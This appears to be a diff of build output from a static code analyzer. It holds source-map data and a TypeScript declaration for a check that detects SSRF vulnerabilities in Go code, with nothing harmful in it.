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"}
@@ -0,0 +1,19 @@
1
+ /**
2
+ * Go SSRF (Server-Side Request Forgery) Detection
3
+ * OWASP A10:2025 - Server-Side Request Forgery (SSRF)
4
+ *
5
+ * Detects SSRF vulnerabilities where user-controlled input is used in
6
+ * HTTP requests, file operations, or other server-side requests.
7
+ */
8
+ import { SecurityVulnerability } from '../../types';
9
+ /**
10
+ * Checks for SSRF vulnerabilities
11
+ *
12
+ * Covers:
13
+ * - Check #1: User-controlled URLs in HTTP requests (HIGH)
14
+ *
15
+ * @param lines - Array of code lines
16
+ * @returns Array of security vulnerabilities found
17
+ */
18
+ export declare function checkSSRF(lines: string[]): SecurityVulnerability[];
19
+ //# sourceMappingURL=ssrf-detection.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"ssrf-detection.d.ts","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/go/security-checks/ssrf-detection.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,OAAO,EAAE,qBAAqB,EAAE,MAAM,aAAa,CAAC;AAGpD;;;;;;;;GAQG;AACH,wBAAgB,SAAS,CAAC,KAAK,EAAE,MAAM,EAAE,GAAG,qBAAqB,EAAE,CAmRlE"}